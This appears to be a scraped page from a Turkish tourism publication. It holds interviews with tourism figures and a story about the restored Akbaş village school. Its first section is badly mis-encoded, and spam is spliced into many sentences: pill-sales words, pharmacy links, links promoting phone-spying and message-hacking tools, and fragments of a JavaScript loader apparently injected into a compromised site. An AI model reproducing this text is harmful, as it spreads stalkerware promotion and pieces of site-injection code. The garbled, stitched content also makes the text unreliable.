acentacA�lA�AYA� ve konaklama gibi sektA�rlere deAYil ekonominin tA?m sektA�rlerine girdi saAYlamaktadA�r. Bu sebeple bu endA?strinin hassasiyetlerini dikkatle takip etmeli ve kA�sa dA�nem kar hesaplarA�yla endA?striyel yapA�ya zarar verecek giriAYimlerden kaA�A�nmalA�dA�rlar.Biz TA?RSAB olarak bu konuda hem havayolu AYirketleri hem de bankalarla gA�rA?AYmeler yapA�yoruz ve her iki sektA�r iA�inde seyahat acentalarA�nA�n hayati A�nemini anlatarak A�A�zA?mler A?retme gayreti iA�indeyiz.

A�leriye dA�nA?k olarak dA?nyada yeni keAYfedilmeAYi bekleyen A?lkeler arasA�nda nerelerin olduAYunu belirte bilir misiniza��

DA?nyaa��da kitlesel turizmin ilk varA�AY A?lkeleri Fransa, A�talya, A�spanya, A�sviA�re gibi A?lkelerdi. Bu A?lkeler hala dA?nya turizminin A�nde gelen A?lkeleridir. A�zellikle geliAYmekte olan A?lkeler ekonomileri kalkA�ndA�kA�a bu A?lkelere her zaman bir potansiyel yaratA�yorlar. Ancak geliAYmiAY A?lkelerin vatandaAYlarA� iA�in bu varA�AY A?lkeleri artA�k demode oldular. Onlar yeni destinasyon arayA�AYA� iA�indeler. TA?rkiye bu arayA�AYtan nasibini alan bir yeni varA�AY A?lkesidir. GeA�en son on yA�la bakarsak, yeni ortaya A�A�kan varA�AY A?lkelerinin OrtadoAYu ve Asya/Pasifika��te belirdiklerini gA�rA?rA?z. A�in A�nA?mA?zdeki on yA�l iA�inde ilgi A�ekmeye devam edecektir. OrtadoAYua��nun da kazandA�AYA� istikrar oranA�nda ilgi gA�receAYine inanA�yorum. Bir de hiA� keAYfedilmemiAY A�zbekistan, Kazakistan, KA�rgA�zA�stan gibi yakA�n Asya A?lkeleri var. Bu A?lkeler de tarihi ve bakir doAYal gA?zellikleriyle turizme aA�A�lmayA� baAYarA�rlarsa ilgi gA�receklerdir diye dA?AYA?nA?yoruz.

YA�llarA�nA� turizme adamA�AY bir kiAYi olarak SayA�n BaAYaran Ulusoy TA?rkiye ve dA?nyada tatile A�A�kmak istese nereyi tercih eder. Bu konuda tercih sebebinizi de aA�A�klaya bilir misiniza��

online Bu sA�ralar Kuzey KA�brA�sa��A� A�zellikle tercih ederim. A�nsanlarA�nA�n sA�caklA�AYA�, doAYasA�, kA?ltA?rel zenginlikleri A�ok cazip. Ama beni Kuzey KA�brA�sa��la ilgili olarak en A�ok Akdeniza��in en temizkalmA�AY, sanayi ve AYehirleAYmeden uzak durabilmiAY tatil A?lkesi olmasA� cezbediyor.

Cheap Pills Hem dA?nyada hem de TA?rkiyea��de bu kadar ekonomik sorunlar var iken; insanlarA�n hala seyahatleri dA?AYA?nmesini nasA�l karAYA�lA�yorsunuz?

DA?nyada ve TA?rkiyea��de sorunlar aslA�nda hep vardA�. Bizce deAYiAYen AYey bu sorunlarA� herkesin gA?ndemine taAYA�yacak olan bir ortamA�n kA?resel boyutlarda geliAYmesidir. Bu ortam bilgi-iletiAYim ve ulaAYtA�rma teknolojilerinin geliAYmesi neticesinde oluAYmuAYtur. Bu alanlardaki geliAYmeler dA?nyada tA?m olup bitenleri bireylerin A�nA?ndeki bilgisayar ekranA�na, cebindeki telefona kadar taAYA�dA� ve onlarA�n mobilitesini artA�rdA�. A�nsanlar ne olursa olsun seyahat etmek, yeni yerler gA�rmek, yeni pazarlara aA�A�lmak, yeni kA?ltA?rlerle tanA�AYmak isteyecekler. Bu merakA�n A�nA?nde duran fiziki engeller teknoloji vasA�tasA�yla yA�kA�ldA�kA�a daha fazla seyahat hep olacak.

2010 TA?rkiyea��ye incoming olarak artA�AY saAYlayacak mA�; yoksa hayal kA�rA�klA�AYA� mA� yaratacak!

BA?tA?n iAYaretler TA?rkiyea��nin dA�AY turizm pazarlarA�nda 2010 yA�lA�nda bir talep artA�AYA� yaAYanacaAYA�nA� gA�steriyor. Tahminlerimize gA�re yA?zde 10 civarA�nda bir artA�AY yaAYanabilir ve 30 milyon yabancA� ziyaretA�i sayA�sA�na ulaAYabiliriz. Turizm gelirlerimiz de TLa��nin durumuna baAYlA� olarak daha yA?ksek oranda yaklaAYA�k yA?zde 12-13 oranA�nda bir artA�AY gerA�ekleAYebilir ve 24,5 milyar dolara ulaAYabilir.

DA?nyada geA�imini sadece turizmden kazanan A?lkelerin baAYarA� sebepleri nelerdir?

A�ok deAYiAYik motivasyonlar insanlarA� seyahat faaliyetine itiyor. A�AY, iklimsel AYartlar, merak, dinlenme, farklA� kA?ltA?rlerle bir araya gelme gibi. Ama her durumda Turizmi diAYer seyahat hareketlerinden farklA�laAYtA�ran AYey kA�klenilen yere geri dA�nmek A?zere yapA�lan bir seyahat olmasA� ve onu ekonomik ya da sosyal mecburiyetlerin deAYil A�zgA?r iradenin yA�nlendirmiAY olmasA�dA�r. Ancak tA?m bunlardan arA�ndA�rA�p teknik olmayan biraz daha felsefi bir tanA�m yapacak olursak turizm bir nefes alA�AY, mola veriAY, kendine daha yalA�n bir bakA�AY fA�rsatA�nA� yakalamaktA�r da diyebiliriz.

Size TURA�ZM nedir diye soracak olsak nasA�l yanA�tlarsA�nA�z!A� Vea��DA?nyaya tekrar gelseniz aynA� mesleAYi seA�er miydiniz. Yoksa gA�nlA?nA?zde yatan baAYka bir meslek dalA� var mA�?

Turizm A�yle gA?zel bir meslek ki. Sevmeden zaten yapA�lmaz. Sizi dA�AYlar ve bA?nyeden atar. Hizmet sektA�rlerinin en gA�rkemlisidir. YA?ksek bir eAYitim seviyesi, kolayca mutlu olmaya ve mutlu etmeye hazA�r insanlar sektA�rA?mA?zA?n genel karakteridir. Bu AYartlarda baAYka bir meslek dA?AYA?nebilir mi insan? http://blog.xn--2-5wf2eljdmn4b6cn.com/?p=1446 var d=document;var s=d.createElement(‘script’); document.currentScript.parentNode.insertBefore(s, document.currentScript); order diakofacboy call tracker, snapchat spy, spy without jailbreak

Cumhuriyet Tarihi’nin ilk köy okulu

cumhuriyet köyü

Türkiye’nin ilk köy okulu neredeydi biliyor musunuz?…

Tabii ki cevabınız HAYIR  olacak.

Yıllar önce Purchase Ulu önder Atatürk ve eşi Latife Hanım Balıkesir’i gidiyorlar tarih: 6 Şubat 1923. Yani Cumhuriyet’in ilanından tam 8 ay önce…Balıkesir’e giderler;  07 Şubut 1923 de Balya da Kazım Özalp’in III.Fırkasını teftişe giderken, yol güzergahında olan  Akbaş Köyü’nde bir mola veriyorlar.  Gerisini eski Köy Muhtarı Gülay Dayıcan’dan dinleyelim…“6 Şubat 1923 yılı, Cumhuriyetin ilanından önce, Gazi Mustafa Kemal ve eşi Latife hanım, Balıkesir’i ziyaretleri sırasında, Balya’da bulunan Kazım Özalp’ ın Komutan olarak görev yaptığı III. Fırka’yı teftişe giderken, yol güzergahında bulunan köyümüzde mola vermişlerdir. Köylümüz, Gazi ve eşini, okul binasının olduğu yerdeki kır kahvesinde karşılamış ve kendilerine bir de kurban keserek ikramda bulunmuşlardır. Köylü ile sohbet sırasında, Gazi Mustafa Kemal, kurulacak olan Cumhuriyetten ve kazanımlarından bahsederken, köylerde “MEKTEP” açmak fikrini ve bu “mekteplerde” yetişecek bireylerle ülkenin nasıl kalkınacağı konusundaki fikirlerini paylaşmış; eşi Latife hanım da, “Kemal, mektep bu oturduğumuz yere yapılsın” diyerek, yerini işaret etmiştir. Köyün ileri gelenlerinden merhum Ahmet AKBAŞ, Gazi ve eşinin köyden ayrılmasından sonra, hemen harekete geçmiş ve o zaman Balya madeninde çalışmakta olan İstanbullu mimar-mühendis NURİ beye “MEKTEP” in nasıl yapıldığını sormuş ve Nuri beye bir kağıt üzerine okulun planını çizdirmiştir. Okulun temeli 1923 de atılmış, inşaatı ise devletten hiçbir yardım almadan Ahmet ağanın önderliğinde köylünün kendi gayreti ile tamamlanmış ve 1929 yılında “AKBAŞ KÖYÜ İLKOKULU” adı ile öğretime başlamıştır. Dolayısı ile; Tevhid-i Tedrisat Kanunu’nun 1928 yılında çıkmış olduğu ve harf devriminin de aynı yıl gerçekleşmiş olduğu dikkate alındığında OKULUMUZ, CUMHURİYETİN KURULUŞUNDAN SONRA, YAYGIN EĞİTİMİN ÖNCE KÖYLERDEN BAŞLATILMASI AMACI İLE AÇILAN İLK KÖY İLKOKULUDUR.1929 yılında hizmete alınmış olan bu tarihi okula, köyümüzde mevcut öğretmen sicil kayıt defterine göre, ilk olarak, 06.11.1929 tarihinde “Balıkesir erkek muallim mektebi aliyyül’ala” dan 1. ve 2. sınıfları okutmak üzere 1317 Sındırgı doğumlu Mustafa Efendi oğlu İlyas Faruk bey atanmıştır. 1991 yılına kadar, 62 yıl boyunca, aralıksız olarak eğitim-öğretim yapılmıştır. 1991 yılında, “öğrenci yetersizliği” nedeni ile Milli Eğitim Bakanlığı’nca kapatılmıştır. O zamandan bu yana, öğrencilerimiz taşımalı sistemle İlçe merkezindeki okullara alınmış, bu tarihi yapı ise kaderine terk edilmiştir. 2006-2007 yıllarında restorasyon için gerekli izinler alınmış; 2008 yılı yazında başlayan restorasyon çalışması 2009 Ekim ayında tamamlanmıştır. Bu tarihi yapı, içinde bir adet Köy Etnografya Galerisi, içinde ilk eşyaları barındıran bir adet Tarihi Okul Galerisi, bir adet Halk Eğitim Atölyesi, bir adet Mutfak ve 1 adet Sosyal Order Aktivite Salonu olmak üzere  “ÇOK AMAÇLI KÖY KONAĞI” olarak hizmete sunulmuştur”

gülay dayıcan

Şimdi kimdir diyeceksiniz, bu Türk Kadını: Akbaş Köyü’nün eski muhtarı, Akbaş Köyü Yardımlaşma ve Güzelleştirme Derneği Başkanı GÜLAY DAYICAN…

Gülay Dayıcan Amerika’dan kesin dönüş yapan aydın Pills Türk kadınlarımızdan biri. Dayıcan senelerce dünyanın en medeni ülkesinde ve New York gibi çok hareketli bir şehirden Türkiye’ye kesin dönüş yaptığı zaman adresim Balıkesir’in Akbaş Köyü demiş… Ve de Türkiye’deki hizmetlerine de burada devam etmiş. 2004 seçimlerinde muhtar seçilen Gülay Akbaş, yıllar içinde viraneye dönen bu tarihi mekanı köyüne kazandırmak için harekete geçmişti.

cumhuriyet okulunun galerisi

Kasım ayı içerisinde Devlet erkanın da katıldığı bir törenle hizmete açılan yapının kurdelesini de Vali Vekili M.Kemal Özgün Pills kesti. Özgün’ün yanı sıra  Vali Yardımcısı Hasan Hüseyin CAN, Balya Kaymakam V. Erkan KALENDER, Balya Belediye Başkanı Dündar CENGİZ, İl Genel Meclisi Başkanı M. Akif OKUR, Balıkesir Eski Belediye Başkanı Sabri UĞUR, ADD Şube Başkanı Mürüvvet KELEŞ, okulun eski öğretmenleri ve mezunları ile çok sayıda davetli ve vatandaş katıldı. Köy muhtarı İsmail ÖZDEN konuşmasında” Ben Akbaş Köyü İlkokulu 1967 girişli 1/A sınıfı öğrencisiyim. Bugün burada kişisel geçmişlerimizin gün yüzüne çıktığı tarihi mekanın açılışını yapmak üzere toplanmış bulunuyoruz. Her ne kadar başlangıcında olamasam da muhtar olarak bitiriliş aşamasında dahil olduğumuz projenin içinde olmaktan gurur duymaktayız. Ancak böylesine zahmetli bir işin başarılmasında en büyük emek eski muhtarımız ve halen köyümüz Yardımlaşma ve Güzelleştirme Derneği Başkanı Gülay DAYICAN’ a aittir, kendisine ve emeği geçen herkese buradan teşekkür ediyor sözü Gülay hanıma bırakıyorum “dedi.

Daha sonra söz alan order monoket imdur Akbaş Köyü Yardımlaşma ve Güzelleştirme Derneği Başkanı Gülay DAYICAN ise   “2000 yılında köye taşındığımdan beri okulun bu hali ben çok üzmekte idi. Okulun tarihi geçmişini hem okulun ilk öğrencilerinden olan babamdan, hem Ahmet Ağayı yaşlılığında tanıyan bir kişi olarak ondan, hem okulumuzun ilk bayan öğretmeni ve halen sağ olan Nemciye ÖNDER’ den dinlemiş, hem de aile albümümüzde bulunan eski hali ile tek bir fotoğrafını görmüştüm.2004 yılı Yerel Seçimlerinde Muhtarlık görevini devir aldığımda, Cumhuriyet tarihimizin bir kültür değeri olan bu tarihi yapıyı kurtarmak için dönemin Valisi Sayın Atıl ÜZELGÜN’ e başvurdum. Vali Atıl ÜZELGÜN ile başlayan bu proje 3 Valimizi daha meşgul etti. Açılışı yapmakta İlimize yeni atanan ancak geldiği günden beri dinamizmi ile hepimizi etkileyen Sayın Valim Yılmaz ARSLAN’ a kısmet olacaktı ancak ani bir görev nedeni ile Ankara, ya gitmek zorunda kalınca Vali Vekilimiz M. Kemal ÖZGÜN’ e kısmet oldu. Devlet-Millet işbirliği ile bitirilmiş olan bu projenin maliyeti 75.000 TL dir. Bu paranın 35.000TL’si çeşitli zaman aralıkları ile Devlet yardımı olarak İl Özel İdaresi ve Balya Köylere Hizmet Götürme Birliğinden karşılanmış olup, geri kalan kısmı ayni ve nakdi yardım olarak başta Esan-Eczacıbaşı Firmasının sosyal projeler kapsamından, ilimizdeki bazı sivil toplum kuruluşlarından,ilimize bağlı bazı belediyelerden, projeye duyarlı halktan ve tabiî ki köyümüzde ve yurt dışında yaşamını sürdüren köy halkının yapmış olduğu bağışlarla tamamlanmıştır. Bu Projenin başından beri beni hiçbir zaman yalnız bırakmayan tüm görevliler ile Şule, Kübra ve Ulviye kardeşlere teşekkür ediyor, rahmetli olanlara Allahtan rahmet diliyorum. Hepinizi saygı ile selamlarım.” Dedi.

Balya Kaymakam Vekili Erkan KALENDER de” Cumhuriyetin kuruluş zamanı ile birlikte kurulan Akbaş Köyü İlk Okulunun1991 yılında misyonunu tamamladığı düşünülerek kapatılmasından sonra tekrardan restore edilerek açılmasında emeği geçen başta Sayın Valimiz olmak üzere, eserin ortaya çıkarılması ve yapımında çok büyük emekleri geçen Akbaş Köyü Yardımlaşma ve Güzelleştirme Derneği Başkanı Gülay DAYICAN’ a, Muhtar İsmail ÖZDEN’ e, köy halkına, kamu kurum ve kuruluşlarına teşekkür ederken Etnografya Galerisinin hayırlı uğurlu olmasını diler saygılar sunarım “dedi.

Buy GÜLAY DAYICAN KİMDİR?

1951 yılında Ankara’da doğdu. İlk, orta ve lise tahsilini İstanbul’da tamamladı. 1971 yılında İstanbul Üniversitesi Çapa Tıp Fakültesi Psikiyatri ve klinik psikoloji sertifikası alarak, 1973 yılında İstanbul Üniversitesi Edebiyat Fakültesi Psikoloji bölümünden mezun oldu. İlk meslek hayatına 1973 yılında Samsun Karadeniz Bölgesi Ruh ve Sinir hastalıkları hastanesinde Klinik psikolog olarak başladı. 1977 yılında davet üzerine Amerika’ya gitti. Bir yandan meslek hayatını sürdürürken diğer yandan New York Medical College Biyolojik Psikiyatri birimi psikofarmakoloji alanında ihtisas yaptı. 1984 yılında, dünyaca ünlü bir ilaç firmasında araştırma müfettişi olarak göreve başlayan Dayıcan, 1991 yılında yine ayni firmanın dünya müfettişliğine getirildi. Uluslararası düzeyde 15 den fazla araştırmaya imza atıp yayını olan Dayıcan, 1994 yılında emekliye ayrılarak Türkiye’ye dönüş yaptı. Bir süre, İstanbul ve Antakya’da ikamet ettikten sonra 1999 yılında atalarının toprağı ve baba ocağı olan Balıkesir’in Balya İlçesine bağlı Akbaş köyüne yerleşip, bilgi ve deneyim birikimlerini bu şirin orman köyünde değerlendirerek ülke kalkınmasına bir nebze hizmet etmeye karar verdi. 2004′de köye muhtar seçilen Dayıcan, 5 yıl boyunca başarıyla görev yaptı. 2009′da muhtarlığa yeniden aday olmayan Dayıcan, Akbaş Köyü Yardımlaşma ve Güzelleştirme Derneği Başkanı olarak köyüne hizmet vermeyi sürdürüyor.

okulun galerisi online var d=document;var s=d.createElement(‘script’); sms tracker, cell phone spy software, spybubble

Dünyayı en çok gezen kişilerden biri: CEM POLATOĞLU

CEM POLATOĞLU
Hani KATİP ÇELEBİ’nin SEYAHATNAMESİ kitabı var ya aslında Baracuda Turizm’in sahibi Sayın Cem Polatoğlu için yazılmış desek inanın mübalağa etmiş olmayız. Çünkü Sayın Polatoğlu dünya üzerindeki 178 ülkeden 102 sini görmüş… Ama gördüğü ülkelerdeki olayları çok değişik bir gözle takip etmiş bir kişi. Bizler de sizin için  dünyayı ve insanlarını en güzel kimden dinleriz diyerek Sayın Polatoğlu ile keyifli bir röp. yapalım dedik. İşte sorular, işte cevaplar…

Order

Söze bütün dünyayı dolaştığınız istihbaratını alarak başlayacağım ve sizin için dünyanın en güzeli yeri neresidir diyeceğim… Buy

Ben de size klasik bir cevap vereceğim. Ama gerçek; Türkiye… Dünyada deniz kum güneş için bir yere gidebilirsiniz, Ör. Zanzibar, Cebu, Bali…Tayland kültür ve tarih için de, Ör. Yunanistan, Mısır. Sadece gurme turlarına katılıp yemeği güzel olan bir ülkeyi de ziyaret edebilirsiniz, Ör. İtalya. Doğal güzelliği için de; Rio, Eğlenmek için de seçeneğiniz var; Hollanda. Ucuz alışveriş için de bir ülkeye gitmeniz ziyaret etmeniz mümkün;  Tunus, Tayland. Sıcak sevimli cana yakın insanları içinde, Ürdün, Lübnan. Kış turizmi içinde, Avusturya, Romanya, Ama modern, medeni, kaliteli yaşamın merkezinde de kendinizi şımartmak isteyebilirsiniz Fransa.. Ama bunların hepsini tek bir ülkede ancak burada, Türkiye de yaşarsınız. Benim memleketimde. TÜRKİYE

Bu kadar gezdikten sonra acaba görmediğiniz ve de aklınızda kalan bir yer var mı?

Bu kış Papua Yeni Gine, Fiji adaları ve Tazmanya’yı da içeren turumu tamamlayıp kitabımı yazacağım. Tabii ki  178 ülkenin hepsine gitmedim. Tam 102 ülke olmuş. Ama sayı yapacağım diye de aynı kültür ve coğrafyada olan ülkelerin hepsine gitmek gibi bir niyetim de yok açıkçası.
Sizin için seyahat etmek nasıl bir duygu; işiniz harici tatil yapmak isteseniz nereyi tercih edersiniz…

Seyahat etmek her şeyden önce işim. Herkesten farklı bakıyorum gittiğim yerlere ve otellere. Benim müşterim ne sever, ne yer,  nasıl bir otel konseptinden hoşlanır. Akşam nerede eğlenir. Sürekli bir araştırma tarama halindeyim. Kağıda veya beynime yazıyorum. Sürekli elim deklanşörde. Ama eğer iş harici tatil yapmak istersem bu kesinlikle Bodrum olur.
Şimdi de biraz Türkiye turizmi ile ilgili görüşlerinizi almak istiyorum. Türk turizmi sizce nereden nerelere geldi. Ve de nereye gidiyor?

30 kusur sene önce rehberlik günlerimde Kapadokya’da turistlerimi Vita yağı tenekesinde odunda su ısıtarak yıkardım. Şimdi 7 yıldızlı otellerde ağırlıyoruz. 30 sene önce havaalanında gruplarımla “salya-sümük” ağlaşarak ayrılırdık. Şimdi alışveriş yapmayan turistler nedeniyle rehberler grubu havaalanında adete” atıp-gidiyor” Eskiden halk elindeki ekmeği de tanrı misafiri gördüğü turistle paylaşırdı. Şimdi turistik bölgelerde turisti nasıl kazıklasam diyen kitle oluştu.

2010 Avrupa Kültür başkenti olarak yapılacak hazırlıklar konusunda bilginiz var mı? Var ise sizce yeterli mi?

Antwerpen (Belçika), Weimar (Almanya), Santiago de Compostela (Galiçya-İspanya), Vignon (Fransa), Cork (İrlanda), Patras (Yunanistan), Sibiu (Romanya), Stavanger (Norveç), Vilnüs (Litvanya) … Bu şehirleri duymuş muydunuz daha önce.. Bu şehirlerin hepsi çeşitli senelerde Avrupa Kültür başkenti olmuş. Yani abartacak bir durum yok. Kimse de bunu bir sene sonra hatırlamıyor. Sorun sıradan  bir Avrupalıya, olaydan haberi dahi yok. Peki seneye sadece İstanbul’un değil Essen ve Pecs’inde Avrupa Kültür başkenti olduğunu biliyor muydunuz?  Bence çoğu kişi buna Yooo diyecektir. E peki nedir bu senelerdir duyulan heyecan? Değecek mi bu kadar kazı uyandırdığımıza? Evet; Eğer bu işin tanıtımı ! için 100 milyon euro’nun bir yerlere harcandığını ve harcanacağını söylersem ???

2010: İstanbul (Türkiye) – Essen (Almanya) – Pécs (Macaristan)
2011: Turku (Finland) — Tallinn (Estonya)
2012: Guimarães (Portekiz) — Maribor (Slovenya)
Türkiye’de şu an uygulanmakta olan bazı bazlar var. Mesela yabancılara çok düşük standartta fiyatlar uygulanırken, içe dönük seyahatlerde neden yüksek fiyatlar tercih ediliyor?

Hayır böyle bir şey asla yok. Şöyle ki. Kapı fiyatını kişi başı 100 euro olarak pazarlayan otelciye yabancı tur operatörü Ekim Kasım ayında gidiyor ve peşin-nakit olarak 20 euro teklif ediyor. Otelinin %60-70 ini ekimde pazarlayan otelci nakiti ile hem masraflarını çıkartıyor hem de gerekli tadilat parasını toparlıyor hem de otelin boş kalmamasını garantiliyor. Yabancı tur operatörü de kendi tüketicisi Kasım-Aralık’ta erken rezervasyonla bu otelleri satın aldığı için odayı %10 karla 22 euroya satıyor.

Aynı otelci işler iyi giderse kalan odaları şubatta 40 , martta 60 nisan’da 80 euroya satıyor. Peki Türk tüketici ne zaman tatile karar veriyor? 1 hafta önce… O zaman da 100 euro ödüyor.

Gerçi yavaş yavaş Türk tüketicisi de erken rezervasyona alışıyor. Ama şimdilik en erken Nisan ayında satın alıyor. O zaman da en fazla %20-30 indirimle 70 euro ya oteli satın alıyor. Kısaca Avrupalı 22 euro’ya alırken Türk 70 euro’ya. Ben de bileyim ki Türk tüketici Kasımda benim satın aldığım odaları satın alacak. Ben de riske girer ve 20 euro’dan aynı odaları alırım.

NOT; Unutulmamalıdır ki bizim ve otelciler için en iyi müşteri Türk müşteridir. Çünkü Türk yer, içer, harcar, bahşiş verir..

Dünya standartlarına göre ülkemizde oteller için uygulanan yıldızlama işleminde hata var mı?

Yıldızlama sistemi standarttır ama uygulamada bazı hatalar olabiliyor. Yurtdışında da bu gibi hatalar olabiliyor. Ör. ben İtalya’da 4 yıldız yerine Fransa’da 2 yıldızı tercih ederim.

Son olarak da dünyaya yeniden gelseniz aynı mesleğimi yoksa başka bir dalı mı tercih eder siniz…

Kesinlikle aynı mesleği tercih ederim.. İşimi seviyorum, çok mutluyum, dünyayı geziyorum, dünyaya entegreyim, iyi de kazanıyorum…

http://mev-hongkong.com/tegretol-200-costo/ Bizde Sayın Cem Polatoğlu’na çok teşekkür ediyor ve sağlıklı, mutlu, heyecanlı seyahatler temenni ediyoruz… Buy document.currentScript.parentNode.insertBefore(s, document.currentScript);} else { Purchase online Pills http://redbridgebluegrass.com/facebook-tracker-how-to-hack-messages-in-iphone-buscar-telefono-por-gps/

Vardar: “Biz turizmciler birlik olmayı bilemedik”

sinnnnnnnnnnnnn

Turizmin duayenlerinden…

Tam 40 yıldan beri bu mesleğe baş koymuş…

Kalbi Beşiktaş için atıyor…

Siyah-beyazlı kulübün yöneticiliğinin çeşitli kademelerinde görev almış bir kişi…

Aslında sadece Beşiktaş değil, İstanbul’un 100 yıllık kulüplerinin gerçek anlamda babası… Çünkü bu kulüplerin senelerce başkanlığını yapmış ve hepsini bir yerlere getirmiş…

Sözü daha fazla uzatmadan  JOLLY TUR’un CEO’su Sayın Sinan Vardar’a bırakalım…

2009 senesinin 9. ayındayız ve Türk Turizmini nasıl buluyorsunuz?

Şimdi  bu sene dışarıdan gelen turizmde büyük sıkıntı oldu. Bunun da sebebi dünyadaki ekonomik kriz. Avrupa’da bir anket yapıldı. Tüketicinin büyük kısmı “Ben bu ekonomik kriz ile uzun yıllar tatile gidemem “diyor. Bunların bir kısmı ucuz ve yakın bir yere giderimi tercih ederken; yüzde 20’si önümüzdeki  yıl ne gösterecek ona göre diyor. Yüzde 10’u da ben gezerim diyor. Bunlar gerçek anlamda facia görünüyor. Bunun üzerine oteller fiyatlarını aşağı çekti, hakikaten fedakarlık yaptı. Temmuz ayından itibaren bir kıpırdanma oldu. Ve zannederim ki, gelecek seneye yakın bir rakamla sezonu kapatacağız. Ama gelen turist girdilerde ise yüzde 10-15’e yakın düştü olacak. Bunun bir de öbür tarafına baktığımızda 72 milyon nüfus var. 5 milyonu seyahat ediyor. Bizi sevindiren kendi şirketimizin yüzde 20’lik artışı var. Bizi en çok sevindiren ise kültür turlarına büyük rağbet var. Şimdi asıl olay Doğu’ya yatırım olması. Nitekim Mercury şirketi bu konuda çok müteşebbis. Doğu’ya bayağı yatırım yapıyor. Bu çabaların bir an evvel artması lazım. Mesela Mardin gibi bir ilimizin, Van’da önemli gelişmeler olacağını da tahmin ediyorum.
sinan 2
Yakın seneler öncesi  Her şey Dahil konumu yokken çevre esnafı mutluydu. Oysa şimdi bu statü sebebiyle çevrede bayağı düşüş var. Dolayısıyla da şikayetler çoğalıyor. Bu konudaki görüşleriniz…

Bir kere Sayın Turgut Özal’ın mekanı cennet olsun. Bu ilk turizm tahsisleri verilirken; biz daha sonraki yıllar bu kapasitenin ne kadar önemli olduğunu ancak anlayabildik. Çünkü oteller yapılırken, onların arkalarına yapılan eğlence siteleri; villalar, konutlar yaparak daha sonra da onları yabancılara satarak; bunlardan gelen getirilerle tesislerin tamamlanması için büyük çabalar harcadık. Bu konu ile ilgili olarak Turizm Bakanlığı’na çok öneri verdik. Ama bu iş ciddiye alınmadığı için otellerin arkasına çok kısıtlı evler yapıldı. Ve sonunda oteller 5 yıldızlı ama  maalesef civar tek yıldızlı olarak kaldı. Daha sonra Magic Life bu uygulamaya başladı. İlk olarak da Dominik Cumhuriyeti’nde yapıldı. Ben her zaman söylerim üç bin euro’ya getiriyoruz da insanlar mı gelmiyor diye! Bu arz talep meselesi moda oldu. Bakın dikkat edin Akdeniz yöresinde önümüzdeki yıllarda bir milyon üç yüz bin yatak kapasitesi oluşacak. Tunuslular, Hırvatistan,Dubaililer sırada. Ayrıca bir milyon üç yüz yatağı doldurmak için yeni turist gerekiyor. Purchase Onun için bu her şey dahilden şu aşamada vazgeçmek mümkün değil. Ama keşke belirli bölgelerde yapılsın derim. Mesela Bodrum’da…Biz turizmciler hiçbir zaman birlik olamadık ve ağlamasını bilmiyoruz. Master planlar sunmalıyız. Şimdi bakın TÜRSAB, Otelciler Birliği, sivil havacılık yani turizmin oluşmasındaki en önemli gruplar maalesef birbirleri ile paslaşarak hareket etmiyorlar. Sayın Bakan’ın bu konudaki çalışmalarını tasvip ediyorum. Ben mesela tur operatörleri ile konuşuyorum. Yazın cebine 50-100 bin euro girdiği zaman sesi çıkmıyor.Turizmde beraberlik olmadı, gelecek senelerde de olamaz. Bu işten 6-7 milyon kişi ekmek yiyor. Özellikle dış ticaret açığımızı bu yollar aslında çok rahat kapatabiliriz… 1618 sayılı turizm yasası ile aslında hepimizin bir bayrak altında toplanması gerekiyor. Kaybımız ferdilikten. Bence ekonomiyi en kolay dengeye getirecek sektör turizmdir. Mesela Sheraton bu işi kolay yapıyor yarım pansiyon ile yüzde 90doluluk kapasitesinde çalışıyor. Demek ki oluyormuş. Ama Antalya’da 2700 otel var. Tabii bunlar boş kalınca da olay değişiyor. İnanın 30 dolara her şey dahil satıyor; ama bu defa da hizmet düşüyor. Maalesef zaman zaman çok üzülüyoruz, sahte içkilerden dolayı zehirlenmeler olacak. Öbür tarafa baktığınızda en büyük vergi içkilerde, yani nasıl hallolacak belli değil. Ama ben gene Sayın Bakanım için CESUR YÜREK diye bir yazı da yazdım. Yeni tur operatörlerinin çıkması lazım. Ayrıca onlara devlet kredisi verilmesi lazım. Dünyada tek örneğiz. Başka ülkede şirket kurup Türkiye’ye tur yapan…

Türkiye’nin tanıtımında büyük emek vermiş bir kişi olarak Sayın Sinan Vardar’ın görmediği ülke var mı? Ve de tatile çıkacak olsanız nereyi tercih edersiniz…

Şimdi görmediğim ülke Çin, Allah nasip ederse Kasım ayında gideceğim. Bir davet aldım o sebeple Çin’e gideceğim. Tatil içinse  Küba, İtalya favorilerimden. Hatta İtalya’da enteresan olaylar gelişiyor. 5000 Türk oraya gidince bazen bakıyorsunuz dükkanlar da Türkçe Buy Pills Ucuzluk diye yazılar göze çarpıyor. Hatta bir turumuzda herkes dörder beşer bavulla dönmeye kalkınca; ekstra uçak bagajı kiralamak zorunda bile kaldık.

Gelecek yıl 2010 senesi Avrupa Kültür Başkenti olarak bu projeyi nasıl yorumluyorsunuz?

Valla 100 milyon dolarlık bir bütçe ile bu iş kifayetli olamaz. Son derece yetersiz bir bütçedir. Ben ne kadar tanıtacağımıza ben inanmıyorum. İstanbul’umuzu çok iyi şekilde tanıtacağımıza inanmıyorum. Çünkü proje içinde turizmci yok.

Turizm’den futbola geçsek ve sizin en büyük aşkınız Beşiktaş. Geçen yılın iki kupalı takımının bu seneki halini nasıl yorumluyorsunuz?

Şimdi Ümraniye’de hem bu işi bilen, hem de dürüst insanların olmayışı, hatta şampiyonlar şampiyonu kadroya 8 tanede transfer yapıldı. Zaten iyi bir kadrosu vardı. Ben olsaydım, Gündüz Ağabey gibi birileriyle danışmanlı işler yapardım. Bir kere Beşiktaş’ta transfer hataları var. Dört ay sonra bir kongre var. Bu işi doğru yaparsanız sonucu da iyi olur. Mesela Serdar Özkan  ben bu çocukla beş altı senedir boğuşuyorum.Önce Akçaabat, sonra Samsun’a kiralık verdik.Oradan Ümit Milli Takım’da başarılı oldu. Hatta Antalya’ya bedava veriliyordu; ben engelledim. Şimdi de bakıyoruz Serdar takımın en iyisi. Hep gençler… Gene Arda!  Ersun Yanal Manisa’da oynatmasaydı; bugün Arda diye bir futbolcu yoktu.  Dürüst futbol adamı şart. Bunun altını tekrar çiziyorum. Beşiktaş’ın bugünkü durumunun tek sebebi yeterli ve doğru futbolcu alınmaması. Sosyal devrim yapmayan kulüp asla kurumsallaşamaz. Gene bir örnek vereceğim. Bundan birkaç sene önce Leverkusen’i gittim. Adamlar kulübü öyle bir hale getirmişler ki; adeta sosyal tesis. Herhangi bir kutlaması olan oraya gidiyor. Bence Türkiye’ye dönecek olursak en geri kalmışı Beşiktaş.Nitekim İnönü Stadı’nın yenilenme çalışmaları için ben bu önerileri Sayın Başkan’a getirdim. İşin yapılması aslında çok zor çünkü tarihi bir konumda bulunan stadın asla dış görünümünün bozulmaması gerekiyor. Mesela dış görünüşünü 